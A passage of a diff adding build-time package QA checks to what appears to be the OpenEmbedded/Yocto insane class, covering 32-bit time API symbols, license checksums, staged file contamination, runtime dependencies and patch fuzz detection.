+ target = os.readlink(path)
+ if os.path.isabs(target):
+ tmpdir = d.getVar('TMPDIR')
+ if target.startswith(tmpdir):
+ trimmed = path.replace(os.path.join (d.getVar("PKGDEST"), name), "")
+ oe.qa.add_message(messages, "symlink-to-sysroot", "Symlink %s in %s points to TMPDIR" % (trimmed, name))
+
+QAPATHTEST[32bit-time] = "check_32bit_symbols"
+def check_32bit_symbols(path, packagename, d, elf, messages):
+ """
+ Check that ELF files do not use any 32 bit time APIs from glibc.
+ """
+ thirtytwo_bit_time_archs = {'arm','armeb','mipsarcho32','powerpc','x86'}
+ overrides = set(d.getVar('OVERRIDES').split(':'))
+ if not (thirtytwo_bit_time_archs & overrides):
+ return
+
+ import re
+ # This list is manually constructed by searching the image folder of the
+ # glibc recipe for __USE_TIME_BITS64. There is no good way to do this
+ # automatically.
+ api32 = {
+ # /usr/include/time.h
+ "clock_getres", "clock_gettime", "clock_nanosleep", "clock_settime",
+ "ctime", "ctime_r", "difftime", "gmtime", "gmtime_r", "localtime",
+ "localtime_r", "mktime", "nanosleep", "time", "timegm", "timelocal",
+ "timer_gettime", "timer_settime", "timespec_get", "timespec_getres",
+ # /usr/include/bits/time.h
+ "clock_adjtime",
+ # /usr/include/signal.h
+ "sigtimedwait",
+ # /usr/include/sys/time.h
+ "adjtime",
+ "futimes", "futimesat", "getitimer", "gettimeofday", "lutimes",
+ "setitimer", "settimeofday", "utimes",
+ # /usr/include/sys/timex.h
+ "adjtimex", "ntp_adjtime", "ntp_gettime", "ntp_gettimex",
+ # /usr/include/sys/wait.h
+ "wait3", "wait4",
+ # /usr/include/sys/stat.h
+ "fstat", "fstat64", "fstatat", "fstatat64", "futimens", "lstat",
+ "lstat64", "stat", "stat64", "utimensat",
+ # /usr/include/sys/poll.h
+ "ppoll",
+ # /usr/include/sys/resource.h
+ "getrusage",
+ # /usr/include/sys/ioctl.h
+ "ioctl",
+ # /usr/include/sys/select.h
+ "select", "pselect",
+ # /usr/include/sys/prctl.h
+ "prctl",
+ # /usr/include/sys/epoll.h
+ "epoll_pwait2",
+ # /usr/include/sys/timerfd.h
+ "timerfd_gettime", "timerfd_settime",
+ # /usr/include/sys/socket.h
+ "getsockopt", "recvmmsg", "recvmsg", "sendmmsg", "sendmsg",
+ "setsockopt",
+ # /usr/include/sys/msg.h
+ "msgctl",
+ # /usr/include/sys/sem.h
+ "semctl", "semtimedop",
+ # /usr/include/sys/shm.h
+ "shmctl",
+ # /usr/include/pthread.h
+ "pthread_clockjoin_np", "pthread_cond_clockwait",
+ "pthread_cond_timedwait", "pthread_mutex_clocklock",
+ "pthread_mutex_timedlock", "pthread_rwlock_clockrdlock",
+ "pthread_rwlock_clockwrlock", "pthread_rwlock_timedrdlock",
+ "pthread_rwlock_timedwrlock", "pthread_timedjoin_np",
+ # /usr/include/semaphore.h
+ "sem_clockwait", "sem_timedwait",
+ # /usr/include/threads.h
+ "cnd_timedwait", "mtx_timedlock", "thrd_sleep",
+ # /usr/include/aio.h
+ "aio_cancel", "aio_error", "aio_read", "aio_return", "aio_suspend",
+ "aio_write", "lio_listio",
+ # /usr/include/mqueue.h
+ "mq_timedreceive", "mq_timedsend",
+ # /usr/include/glob.h
+ "glob", "glob64", "globfree", "globfree64",
+ # /usr/include/sched.h
+ "sched_rr_get_interval",
+ # /usr/include/fcntl.h
+ "fcntl", "fcntl64",
+ # /usr/include/utime.h
+ "utime",
+ # /usr/include/ftw.h
+ "ftw", "ftw64", "nftw", "nftw64",
+ # /usr/include/fts.h
+ "fts64_children", "fts64_close", "fts64_open", "fts64_read",
+ "fts64_set", "fts_children", "fts_close", "fts_open", "fts_read",
+ "fts_set",
+ # /usr/include/netdb.h
+ "gai_suspend",
+ }
+
+ ptrn = re.compile(
+ r'''
+ (?P<value>[\da-fA-F]+) \s+
+ (?P<flags>[lgu! ][w ][C ][W ][Ii ][dD ]F) \s+
+ (?P<section>\*UND\*) \s+
+ (?P<alignment>(?P<size>[\da-fA-F]+)) \s+
+ (?P<symbol>
+ ''' +
+ r'(?P<notag>' + r'|'.join(sorted(api32)) + r')' +
+ r'''
+ (@+(?P<tag>GLIBC_\d+\.\d+\S*)))
+ ''', re.VERBOSE
+ )
+
+ # elf is a oe.qa.ELFFile object
+ if elf is not None:
+ phdrs = elf.run_objdump("-tw", d)
+ syms = re.finditer(ptrn, phdrs)
+ usedapis = {sym.group('notag') for sym in syms}
+ if usedapis:
+ elfpath = package_qa_clean_path(path, d, packagename)
+ # Remove any .debug dir, heuristic that probably works
+ # At this point, any symbol information is stripped into the debug
+ # package, so that is the only place we will find them.
+ elfpath = elfpath.replace('.debug/', '')
+ allowed = "32bit-time" in (d.getVar('INSANE_SKIP') or '').split()
+ if not allowed:
+ msgformat = elfpath + " uses 32-bit api '%s'"
+ for sym in usedapis:
+ oe.qa.add_message(messages, '32bit-time', msgformat % sym)
+ oe.qa.add_message(
+ messages, '32bit-time',
+ 'Suppress with INSANE_SKIP = "32bit-time"'
+ )
+
+# Check license variables
+do_populate_lic[postfuncs] += "populate_lic_qa_checksum"
+python populate_lic_qa_checksum() {
+ """
+ Check for changes in the license files.
+ """
+
+ lic_files = d.getVar('LIC_FILES_CHKSUM') or ''
+ lic = d.getVar('LICENSE')
+ pn = d.getVar('PN')
+
+ if lic == "CLOSED":
+ return
+
+ if not lic_files and d.getVar('SRC_URI'):
+ oe.qa.handle_error("license-checksum", pn + ": Recipe file fetches files and does not have license file information (LIC_FILES_CHKSUM)", d)
+
+ srcdir = d.getVar('S')
+ corebase_licensefile = d.getVar('COREBASE') + "/LICENSE"
+ for url in lic_files.split():
+ try:
+ (type, host, path, user, pswd, parm) = bb.fetch.decodeurl(url)
+ except bb.fetch.MalformedUrl:
+ oe.qa.handle_error("license-checksum", pn + ": LIC_FILES_CHKSUM contains an invalid URL: " + url, d)
+ continue
+ srclicfile = os.path.join(srcdir, path)
+ if not os.path.isfile(srclicfile):
+ oe.qa.handle_error("license-checksum", pn + ": LIC_FILES_CHKSUM points to an invalid file: " + srclicfile, d)
+ continue
+
+ if (srclicfile == corebase_licensefile):
+ bb.warn("${COREBASE}/LICENSE is not a valid license file, please use '${COMMON_LICENSE_DIR}/MIT' for a MIT License file in LIC_FILES_CHKSUM. This will become an error in the future")
+
+ recipemd5 = parm.get('md5', '')
+ beginline, endline = 0, 0
+ if 'beginline' in parm:
+ beginline = int(parm['beginline'])
+ if 'endline' in parm:
+ endline = int(parm['endline'])
+
+ if (not beginline) and (not endline):
+ md5chksum = bb.utils.md5_file(srclicfile)
+ with open(srclicfile, 'r', errors='replace') as f:
+ license = f.read().splitlines()
+ else:
+ with open(srclicfile, 'rb') as f:
+ import hashlib
+ lineno = 0
+ license = []
+ try:
+ m = hashlib.new('MD5', usedforsecurity=False)
+ except TypeError:
+ m = hashlib.new('MD5')
+ for line in f:
+ lineno += 1
+ if (lineno >= beginline):
+ if ((lineno <= endline) or not endline):
+ m.update(line)
+ license.append(line.decode('utf-8', errors='replace').rstrip())
+ else:
+ break
+ md5chksum = m.hexdigest()
+ if recipemd5 == md5chksum:
+ bb.note (pn + ": md5 checksum matched for ", url)
+ else:
+ if recipemd5:
+ msg = pn + ": The LIC_FILES_CHKSUM does not match for " + url
+ msg = msg + "\n" + pn + ": The new md5 checksum is " + md5chksum
+ max_lines = int(d.getVar('QA_MAX_LICENSE_LINES') or 20)
+ if not license or license[-1] != '':
+ # Ensure that our license text ends with a line break
+ # (will be added with join() below).
+ license.append('')
+ remove = len(license) - max_lines
+ if remove > 0:
+ start = max_lines // 2
+ end = start + remove - 1
+ del license[start:end]
+ license.insert(start, '...')
+ msg = msg + "\n" + pn + ": Here is the selected license text:" + \
+ "\n" + \
+ "{:v^70}".format(" beginline=%d " % beginline if beginline else "") + \
+ "\n" + "\n".join(license) + \
+ "{:^^70}".format(" endline=%d " % endline if endline else "")
+ if beginline:
+ if endline:
+ srcfiledesc = "%s (lines %d through to %d)" % (srclicfile, beginline, endline)
+ else:
+ srcfiledesc = "%s (beginning on line %d)" % (srclicfile, beginline)
+ elif endline:
+ srcfiledesc = "%s (ending on line %d)" % (srclicfile, endline)
+ else:
+ srcfiledesc = srclicfile
+ msg = msg + "\n" + pn + ": Check if the license information has changed in %s to verify that the LICENSE value \"%s\" remains valid" % (srcfiledesc, lic)
+
+ else:
+ msg = pn + ": LIC_FILES_CHKSUM is not specified for " + url
+ msg = msg + "\n" + pn + ": The md5 checksum is " + md5chksum
+ oe.qa.handle_error("license-checksum", msg, d)
+
+ oe.qa.exit_if_errors(d)
+}
+
+def qa_check_staged(path,d):
+ """
+ Check staged la and pc files for common problems like references to the work
+ directory.
+
+ As this is run after every stage we should be able to find the one
+ responsible for the errors easily even if we look at every .pc and .la file.
+ """
+
+ tmpdir = d.getVar('TMPDIR')
+ workdir = os.path.join(tmpdir, "work")
+ recipesysroot = d.getVar("RECIPE_SYSROOT")
+
+ if bb.data.inherits_class("native", d) or bb.data.inherits_class("cross", d):
+ pkgconfigcheck = workdir
+ else:
+ pkgconfigcheck = tmpdir
+
+ skip = (d.getVar('INSANE_SKIP') or "").split()
+ skip_la = False
+ if 'la' in skip:
+ bb.note("Recipe %s skipping qa checking: la" % d.getVar('PN'))
+ skip_la = True
+
+ skip_pkgconfig = False
+ if 'pkgconfig' in skip:
+ bb.note("Recipe %s skipping qa checking: pkgconfig" % d.getVar('PN'))
+ skip_pkgconfig = True
+
+ skip_shebang_size = False
+ if 'shebang-size' in skip:
+ bb.note("Recipe %s skipping qa checkking: shebang-size" % d.getVar('PN'))
+ skip_shebang_size = True
+
+ # find all .la and .pc files
+ # read the content
+ # and check for stuff that looks wrong
+ for root, dirs, files in os.walk(path):
+ for file in files:
+ path = os.path.join(root,file)
+ if file.endswith(".la") and not skip_la:
+ with open(path) as f:
+ file_content = f.read()
+ file_content = file_content.replace(recipesysroot, "")
+ if workdir in file_content:
+ error_msg = "%s failed sanity test (workdir) in path %s" % (file,root)
+ oe.qa.handle_error("la", error_msg, d)
+ elif file.endswith(".pc") and not skip_pkgconfig:
+ with open(path) as f:
+ file_content = f.read()
+ file_content = file_content.replace(recipesysroot, "")
+ if pkgconfigcheck in file_content:
+ error_msg = "%s failed sanity test (tmpdir) in path %s" % (file,root)
+ oe.qa.handle_error("pkgconfig", error_msg, d)
+
+ if not skip_shebang_size:
+ errors = {}
+ package_qa_check_shebang_size(path, "", d, None, errors)
+ for e in errors:
+ oe.qa.handle_error(e, errors[e], d)
+
+
+# Run all package-wide warnfuncs and errorfuncs
+def package_qa_package(warnfuncs, errorfuncs, package, d):
+ warnings = {}
+ errors = {}
+
+ for func in warnfuncs:
+ func(package, d, warnings)
+ for func in errorfuncs:
+ func(package, d, errors)
+
+ for w in warnings:
+ oe.qa.handle_error(w, warnings[w], d)
+ for e in errors:
+ oe.qa.handle_error(e, errors[e], d)
+
+ return len(errors) == 0
+
+# Run all recipe-wide warnfuncs and errorfuncs
+def package_qa_recipe(warnfuncs, errorfuncs, pn, d):
+ warnings = {}
+ errors = {}
+
+ for func in warnfuncs:
+ func(pn, d, warnings)
+ for func in errorfuncs:
+ func(pn, d, errors)
+
+ for w in warnings:
+ oe.qa.handle_error(w, warnings[w], d)
+ for e in errors:
+ oe.qa.handle_error(e, errors[e], d)
+
+ return len(errors) == 0
+
+def prepopulate_objdump_p(elf, d):
+ output = elf.run_objdump("-p", d)
+ return (elf.name, output)
+
+# Walk over all files in a directory and call func
+def package_qa_walk(warnfuncs, errorfuncs, package, d):
+ #if this will throw an exception, then fix the dict above
+ target_os = d.getVar('HOST_OS')
+ target_arch = d.getVar('HOST_ARCH')
+
+ warnings = {}
+ errors = {}
+ elves = {}
+ for path in pkgfiles[package]:
+ elf = None
+ if os.path.isfile(path):
+ elf = oe.qa.ELFFile(path)
+ try:
+ elf.open()
+ elf.close()
+ except oe.qa.NotELFFileError:
+ elf = None
+ if elf:
+ elves[path] = elf
+
+ results = oe.utils.multiprocess_launch(prepopulate_objdump_p, elves.values(), d, extraargs=(d,))
+ for item in results:
+ elves[item[0]].set_objdump("-p", item[1])
+
+ for path in pkgfiles[package]:
+ if path in elves:
+ elves[path].open()
+ for func in warnfuncs:
+ func(path, package, d, elves.get(path), warnings)
+ for func in errorfuncs:
+ func(path, package, d, elves.get(path), errors)
+ if path in elves:
+ elves[path].close()
+
+ for w in warnings:
+ oe.qa.handle_error(w, warnings[w], d)
+ for e in errors:
+ oe.qa.handle_error(e, errors[e], d)
+
+def package_qa_check_rdepends(pkg, pkgdest, skip, taskdeps, packages, d):
+ # Don't do this check for kernel/module recipes, there aren't too many debug/development
+ # packages and you can get false positives e.g. on kernel-module-lirc-dev
+ if bb.data.inherits_class("kernel", d) or bb.data.inherits_class("module-base", d):
+ return
+
+ if not "-dbg" in pkg and not "packagegroup-" in pkg and not "-image" in pkg:
+ localdata = bb.data.createCopy(d)
+ localdata.setVar('OVERRIDES', localdata.getVar('OVERRIDES') + ':' + pkg)
+
+ # Now check the RDEPENDS
+ rdepends = bb.utils.explode_deps(localdata.getVar('RDEPENDS') or "")
+
+ # Now do the sanity check!!!
+ if "build-deps" not in skip:
+ for rdepend in rdepends:
+ if "-dbg" in rdepend and "debug-deps" not in skip:
+ error_msg = "%s rdepends on %s" % (pkg,rdepend)
+ oe.qa.handle_error("debug-deps", error_msg, d)
+ if (not "-dev" in pkg and not "-staticdev" in pkg) and rdepend.endswith("-dev") and "dev-deps" not in skip:
+ error_msg = "%s rdepends on %s" % (pkg, rdepend)
+ oe.qa.handle_error("dev-deps", error_msg, d)
+ if rdepend not in packages:
+ rdep_data = oe.packagedata.read_subpkgdata(rdepend, d)
+ if rdep_data and 'PN' in rdep_data and rdep_data['PN'] in taskdeps:
+ continue
+ if not rdep_data or not 'PN' in rdep_data:
+ for _, rdep_data in oe.packagedata.foreach_runtime_provider_pkgdata(d, rdepend):
+ if rdep_data and 'PN' in rdep_data and rdep_data['PN'] in taskdeps:
+ break
+ if rdep_data and 'PN' in rdep_data and rdep_data['PN'] in taskdeps:
+ continue
+ if rdep_data and 'PN' in rdep_data:
+ error_msg = "%s rdepends on %s, but it isn't a build dependency, missing %s in DEPENDS or PACKAGECONFIG?" % (pkg, rdepend, rdep_data['PN'])
+ else:
+ error_msg = "%s rdepends on %s, but it isn't a build dependency?" % (pkg, rdepend)
+ oe.qa.handle_error("build-deps", error_msg, d)
+
+ if "file-rdeps" not in skip:
+ ignored_file_rdeps = set(['/bin/sh', '/usr/bin/env', 'rtld(GNU_HASH)'])
+ if bb.utils.contains('DISTRO_FEATURES', 'usrmerge', True, False, d):
+ ignored_file_rdeps |= set(['/usr/bin/sh'])
+ if bb.data.inherits_class('nativesdk', d):
+ ignored_file_rdeps |= set(['/bin/bash', '/usr/bin/perl', 'perl'])
+ if bb.utils.contains('DISTRO_FEATURES', 'usrmerge', True, False, d):
+ ignored_file_rdeps |= set(['/usr/bin/bash'])
+ # For Saving the FILERDEPENDS
+ filerdepends = {}
+ rdep_data = oe.packagedata.read_subpkgdata(pkg, d)
+ for key in rdep_data:
+ if key.startswith("FILERDEPENDS:"):
+ for subkey in bb.utils.explode_deps(rdep_data[key]):
+ if subkey not in ignored_file_rdeps and \
+ not subkey.startswith('perl('):
+ # We already know it starts with FILERDEPENDS_
+ filerdepends[subkey] = key[13:]
+
+ if filerdepends:
+ done = rdepends[:]
+ # Add the rprovides of itself
+ if pkg not in done:
+ done.insert(0, pkg)
+
+ # The python is not a package, but python-core provides it, so
+ # skip checking /usr/bin/python if python is in the rdeps, in
+ # case there is a RDEPENDS:pkg = "python" in the recipe.
+ for py in [ d.getVar('MLPREFIX') + "python", "python" ]:
+ if py in done:
+ filerdepends.pop("/usr/bin/python",None)
+ done.remove(py)
+ for rdep in done:
+ # The file dependencies may contain package names, e.g.,
+ # perl
+ filerdepends.pop(rdep,None)
+
+ for _, rdep_data in oe.packagedata.foreach_runtime_provider_pkgdata(d, rdep, True):
+ for key in rdep_data:
+ if key.startswith("FILERPROVIDES:") or key.startswith("RPROVIDES:"):
+ for subkey in bb.utils.explode_deps(rdep_data[key]):
+ filerdepends.pop(subkey,None)
+ # Add the files list to the rprovides
+ if key.startswith("FILES_INFO:"):
+ # Use eval() to make it as a dict
+ for subkey in eval(rdep_data[key]):
+ filerdepends.pop(subkey,None)
+
+ if not filerdepends:
+ # Break if all the file rdepends are met
+ break
+ if filerdepends:
+ for key in filerdepends:
+ error_msg = "%s contained in package %s requires %s, but no providers found in RDEPENDS:%s?" % \
+ (filerdepends[key].replace(":%s" % pkg, "").replace("@underscore@", "_"), pkg, key, pkg)
+ oe.qa.handle_error("file-rdeps", error_msg, d)
+package_qa_check_rdepends[vardepsexclude] = "OVERRIDES"
+
+def package_qa_check_deps(pkg, pkgdest, d):
+
+ localdata = bb.data.createCopy(d)
+ localdata.setVar('OVERRIDES', pkg)
+
+ def check_valid_deps(var):
+ try:
+ rvar = bb.utils.explode_dep_versions2(localdata.getVar(var) or "")
+ except ValueError as e:
+ bb.fatal("%s:%s: %s" % (var, pkg, e))
+ for dep in rvar:
+ for v in rvar[dep]:
+ if v and not v.startswith(('< ', '= ', '> ', '<= ', '>=')):
+ error_msg = "%s:%s is invalid: %s (%s) only comparisons <, =, >, <=, and >= are allowed" % (var, pkg, dep, v)
+ oe.qa.handle_error("dep-cmp", error_msg, d)
+
+ check_valid_deps('RDEPENDS')
+ check_valid_deps('RRECOMMENDS')
+ check_valid_deps('RSUGGESTS')
+ check_valid_deps('RPROVIDES')
+ check_valid_deps('RREPLACES')
+ check_valid_deps('RCONFLICTS')
+
+QAPKGTEST[usrmerge] = "package_qa_check_usrmerge"
+def package_qa_check_usrmerge(pkg, d, messages):
+
+ pkgdest = d.getVar('PKGDEST')
+ pkg_dir = pkgdest + os.sep + pkg + os.sep
+ merged_dirs = ['bin', 'sbin', 'lib'] + d.getVar('MULTILIB_VARIANTS').split()
+ for f in merged_dirs:
+ if os.path.exists(pkg_dir + f) and not os.path.islink(pkg_dir + f):
+ msg = "%s package is not obeying usrmerge distro feature. /%s should be relocated to /usr." % (pkg, f)
+ oe.qa.add_message(messages, "usrmerge", msg)
+ return False
+ return True
+
+QAPKGTEST[perllocalpod] = "package_qa_check_perllocalpod"
+def package_qa_check_perllocalpod(pkg, d, messages):
+ """
+ Check that the recipe didn't ship a perlocal.pod file, which shouldn't be
+ installed in a distribution package. cpan.bbclass sets NO_PERLLOCAL=1 to
+ handle this for most recipes.
+ """
+ import glob
+ pkgd = oe.path.join(d.getVar('PKGDEST'), pkg)
+ podpath = oe.path.join(pkgd, d.getVar("libdir"), "perl*", "*", "*", "perllocal.pod")
+
+ matches = glob.glob(podpath)
+ if matches:
+ matches = [package_qa_clean_path(path, d, pkg) for path in matches]
+ msg = "%s contains perllocal.pod (%s), should not be installed" % (pkg, " ".join(matches))
+ oe.qa.add_message(messages, "perllocalpod", msg)
+
+QAPKGTEST[expanded-d] = "package_qa_check_expanded_d"
+def package_qa_check_expanded_d(package, d, messages):
+ """
+ Check for the expanded D (${D}) value in pkg_* and FILES
+ variables, warn the user to use it correctly.
+ """
+ sane = True
+ expanded_d = d.getVar('D')
+
+ for var in 'FILES','pkg_preinst', 'pkg_postinst', 'pkg_prerm', 'pkg_postrm':
+ bbvar = d.getVar(var + ":" + package) or ""
+ if expanded_d in bbvar:
+ if var == 'FILES':
+ oe.qa.add_message(messages, "expanded-d", "FILES in %s recipe should not contain the ${D} variable as it references the local build directory not the target filesystem, best solution is to remove the ${D} reference" % package)
+ sane = False
+ else:
+ oe.qa.add_message(messages, "expanded-d", "%s in %s recipe contains ${D}, it should be replaced by $D instead" % (var, package))
+ sane = False
+ return sane
+
+QAPKGTEST[unlisted-pkg-lics] = "package_qa_check_unlisted_pkg_lics"
+def package_qa_check_unlisted_pkg_lics(package, d, messages):
+ """
+ Check that all licenses for a package are among the licenses for the recipe.
+ """
+ pkg_lics = d.getVar('LICENSE:' + package)
+ if not pkg_lics:
+ return True
+
+ recipe_lics_set = oe.license.list_licenses(d.getVar('LICENSE'))
+ package_lics = oe.license.list_licenses(pkg_lics)
+ unlisted = package_lics - recipe_lics_set
+ if unlisted:
+ oe.qa.add_message(messages, "unlisted-pkg-lics",
+ "LICENSE:%s includes licenses (%s) that are not "
+ "listed in LICENSE" % (package, ' '.join(unlisted)))
+ return False
+ obsolete = set(oe.license.obsolete_license_list()) & package_lics - recipe_lics_set
+ if obsolete:
+ oe.qa.add_message(messages, "obsolete-license",
+ "LICENSE:%s includes obsolete licenses %s" % (package, ' '.join(obsolete)))
+ return False
+ return True
+
+QAPKGTEST[empty-dirs] = "package_qa_check_empty_dirs"
+def package_qa_check_empty_dirs(pkg, d, messages):
+ """
+ Check for the existence of files in directories that are expected to be
+ empty.
+ """
+
+ pkgd = oe.path.join(d.getVar('PKGDEST'), pkg)
+ for dir in (d.getVar('QA_EMPTY_DIRS') or "").split():
+ empty_dir = oe.path.join(pkgd, dir)
+ if os.path.exists(empty_dir) and os.listdir(empty_dir):
+ recommendation = (d.getVar('QA_EMPTY_DIRS_RECOMMENDATION:' + dir) or
+ "but it is expected to be empty")
+ msg = "%s installs files in %s, %s" % (pkg, dir, recommendation)
+ oe.qa.add_message(messages, "empty-dirs", msg)
+
+def package_qa_check_encoding(keys, encode, d):
+ def check_encoding(key, enc):
+ sane = True
+ value = d.getVar(key)
+ if value:
+ try:
+ s = value.encode(enc)
+ except UnicodeDecodeError as e:
+ error_msg = "%s has non %s characters" % (key,enc)
+ sane = False
+ oe.qa.handle_error("invalid-chars", error_msg, d)
+ return sane
+
+ for key in keys:
+ sane = check_encoding(key, encode)
+ if not sane:
+ break
+
+HOST_USER_UID := "${@os.getuid()}"
+HOST_USER_GID := "${@os.getgid()}"
+
+QAPATHTEST[host-user-contaminated] = "package_qa_check_host_user"
+def package_qa_check_host_user(path, name, d, elf, messages):
+ """Check for paths outside of /home which are owned by the user running bitbake."""
+
+ if not os.path.lexists(path):
+ return
+
+ dest = d.getVar('PKGDEST')
+ pn = d.getVar('PN')
+ home = os.path.join(dest, name, 'home')
+ if path == home or path.startswith(home + os.sep):
+ return
+
+ try:
+ stat = os.lstat(path)
+ except OSError as exc:
+ import errno
+ if exc.errno != errno.ENOENT:
+ raise
+ else:
+ check_uid = int(d.getVar('HOST_USER_UID'))
+ if stat.st_uid == check_uid:
+ oe.qa.add_message(messages, "host-user-contaminated", "%s: %s is owned by uid %d, which is the same as the user running bitbake. This may be due to host contamination" % (pn, package_qa_clean_path(path, d, name), check_uid))
+ return False
+
+ check_gid = int(d.getVar('HOST_USER_GID'))
+ if stat.st_gid == check_gid:
+ oe.qa.add_message(messages, "host-user-contaminated", "%s: %s is owned by gid %d, which is the same as the user running bitbake. This may be due to host contamination" % (pn, package_qa_clean_path(path, d, name), check_gid))
+ return False
+ return True
+
+QARECIPETEST[unhandled-features-check] = "package_qa_check_unhandled_features_check"
+def package_qa_check_unhandled_features_check(pn, d, messages):
+ if not bb.data.inherits_class('features_check', d):
+ var_set = False
+ for kind in ['DISTRO', 'MACHINE', 'COMBINED']:
+ for var in ['ANY_OF_' + kind + '_FEATURES', 'REQUIRED_' + kind + '_FEATURES', 'CONFLICT_' + kind + '_FEATURES']:
+ if d.getVar(var) is not None or d.hasOverrides(var):
+ var_set = True
+ if var_set:
+ oe.qa.handle_error("unhandled-features-check", "%s: recipe doesn't inherit features_check" % pn, d)
+
+QARECIPETEST[missing-update-alternatives] = "package_qa_check_missing_update_alternatives"
+def package_qa_check_missing_update_alternatives(pn, d, messages):
+ # Look at all packages and find out if any of those sets ALTERNATIVE variable
+ # without inheriting update-alternatives class
+ for pkg in (d.getVar('PACKAGES') or '').split():
+ if d.getVar('ALTERNATIVE:%s' % pkg) and not bb.data.inherits_class('update-alternatives', d):
+ oe.qa.handle_error("missing-update-alternatives", "%s: recipe defines ALTERNATIVE:%s but doesn't inherit update-alternatives. This might fail during do_rootfs later!" % (pn, pkg), d)
+
+# The PACKAGE FUNC to scan each package
+python do_package_qa () {
+ import subprocess
+ import oe.packagedata
+
+ bb.note("DO PACKAGE QA")
+
+ main_lic = d.getVar('LICENSE')
+
+ # Check for obsolete license references in main LICENSE (packages are checked below for any changes)
+ main_licenses = oe.license.list_licenses(d.getVar('LICENSE'))
+ obsolete = set(oe.license.obsolete_license_list()) & main_licenses
+ if obsolete:
+ oe.qa.handle_error("obsolete-license", "Recipe LICENSE includes obsolete licenses %s" % ' '.join(obsolete), d)
+
+ bb.build.exec_func("read_subpackage_metadata", d)
+
+ # Check non UTF-8 characters on recipe's metadata
+ package_qa_check_encoding(['DESCRIPTION', 'SUMMARY', 'LICENSE', 'SECTION'], 'utf-8', d)
+
+ logdir = d.getVar('T')
+ pn = d.getVar('PN')
+
+ # Scan the packages...
+ pkgdest = d.getVar('PKGDEST')
+ packages = set((d.getVar('PACKAGES') or '').split())
+
+ global pkgfiles
+ pkgfiles = {}
+ for pkg in packages:
+ pkgfiles[pkg] = []
+ pkgdir = os.path.join(pkgdest, pkg)
+ for walkroot, dirs, files in os.walk(pkgdir):
+ # Don't walk into top-level CONTROL or DEBIAN directories as these
+ # are temporary directories created by do_package.
+ if walkroot == pkgdir:
+ for control in ("CONTROL", "DEBIAN"):
+ if control in dirs:
+ dirs.remove(control)
+ for file in files:
+ pkgfiles[pkg].append(os.path.join(walkroot, file))
+
+ # no packages should be scanned
+ if not packages:
+ return
+
+ import re
+ # The package name matches the [a-z0-9.+-]+ regular expression
+ pkgname_pattern = re.compile(r"^[a-z0-9.+-]+$")
+
+ taskdepdata = d.getVar("BB_TASKDEPDATA", False)
+ taskdeps = set()
+ for dep in taskdepdata:
+ taskdeps.add(taskdepdata[dep][0])
+
+ def parse_test_matrix(matrix_name):
+ testmatrix = d.getVarFlags(matrix_name) or {}
+ g = globals()
+ warnchecks = []
+ for w in (d.getVar("WARN_QA") or "").split():
+ if w in skip:
+ continue
+ if w in testmatrix and testmatrix[w] in g:
+ warnchecks.append(g[testmatrix[w]])
+
+ errorchecks = []
+ for e in (d.getVar("ERROR_QA") or "").split():
+ if e in skip:
+ continue
+ if e in testmatrix and testmatrix[e] in g:
+ errorchecks.append(g[testmatrix[e]])
+ return warnchecks, errorchecks
+
+ for package in packages:
+ skip = set((d.getVar('INSANE_SKIP') or "").split() +
+ (d.getVar('INSANE_SKIP:' + package) or "").split())
+ if skip:
+ bb.note("Package %s skipping QA tests: %s" % (package, str(skip)))
+
+ bb.note("Checking Package: %s" % package)
+ # Check package name
+ if not pkgname_pattern.match(package):
+ oe.qa.handle_error("pkgname",
+ "%s doesn't match the [a-z0-9.+-]+ regex" % package, d)
+
+ warn_checks, error_checks = parse_test_matrix("QAPATHTEST")
+ package_qa_walk(warn_checks, error_checks, package, d)
+
+ warn_checks, error_checks = parse_test_matrix("QAPKGTEST")
+ package_qa_package(warn_checks, error_checks, package, d)
+
+ package_qa_check_rdepends(package, pkgdest, skip, taskdeps, packages, d)
+ package_qa_check_deps(package, pkgdest, d)
+
+ warn_checks, error_checks = parse_test_matrix("QARECIPETEST")
+ package_qa_recipe(warn_checks, error_checks, pn, d)
+
+ if 'libdir' in d.getVar("ALL_QA").split():
+ package_qa_check_libdir(d)
+
+ oe.qa.exit_if_errors(d)
+}
+
+# binutils is used for most checks, so need to set as dependency
+# POPULATESYSROOTDEPS is defined in staging class.
+do_package_qa[depends] += "${POPULATESYSROOTDEPS}"
+do_package_qa[vardeps] = "${@bb.utils.contains('ERROR_QA', 'empty-dirs', 'QA_EMPTY_DIRS', '', d)}"
+do_package_qa[vardepsexclude] = "BB_TASKDEPDATA"
+do_package_qa[rdeptask] = "do_packagedata"
+addtask do_package_qa after do_packagedata do_package before do_build
+
+# Add the package specific INSANE_SKIPs to the sstate dependencies
+python() {
+ pkgs = (d.getVar('PACKAGES') or '').split()
+ for pkg in pkgs:
+ d.appendVarFlag("do_package_qa", "vardeps", " INSANE_SKIP:{}".format(pkg))
+}
+
+SSTATETASKS += "do_package_qa"
+do_package_qa[sstate-inputdirs] = ""
+do_package_qa[sstate-outputdirs] = ""
+python do_package_qa_setscene () {
+ sstate_setscene(d)
+}
+addtask do_package_qa_setscene
+
+python do_qa_sysroot() {
+ bb.note("QA checking do_populate_sysroot")
+ sysroot_destdir = d.expand('${SYSROOT_DESTDIR}')
+ for sysroot_dir in d.expand('${SYSROOT_DIRS}').split():
+ qa_check_staged(sysroot_destdir + sysroot_dir, d)
+ oe.qa.exit_with_message_if_errors("do_populate_sysroot for this recipe installed files with QA issues", d)
+}
+do_populate_sysroot[postfuncs] += "do_qa_sysroot"
+
+python do_qa_patch() {
+ import subprocess
+
+ ###########################################################################
+ # Check patch.log for fuzz warnings
+ #
+ # Further information on why we check for patch fuzz warnings:
+ # http://lists.openembedded.org/pipermail/openembedded-core/2018-March/148675.html
+ # https://bugzilla.yoctoproject.org/show_bug.cgi?id=10450
+ ###########################################################################
+
+ logdir = d.getVar('T')
+ patchlog = os.path.join(logdir,"log.do_patch")
+
+ if os.path.exists(patchlog):
+ fuzzheader = '--- Patch fuzz start ---'
+ fuzzfooter = '--- Patch fuzz end ---'
+ statement = "grep -e '%s' %s > /dev/null" % (fuzzheader, patchlog)
+ if subprocess.call(statement, shell=True) == 0:
+ msg = "Fuzz detected:\n\n"
+ fuzzmsg = ""
+ inFuzzInfo = False
+ f = open(patchlog, "r")
+ for line in f:
+ if fuzzheader in line:
+ inFuzzInfo = True
+ fuzzmsg = ""
+ elif fuzzfooter in line:
+ fuzzmsg = fuzzmsg.replace('\n\n', '\n')
+ msg += fuzzmsg
+ msg += "\n"
+ inFuzzInfo = False
+ elif inFuzzInfo and not 'Now at patch' in line:
+ fuzzmsg += line
+ f.close()
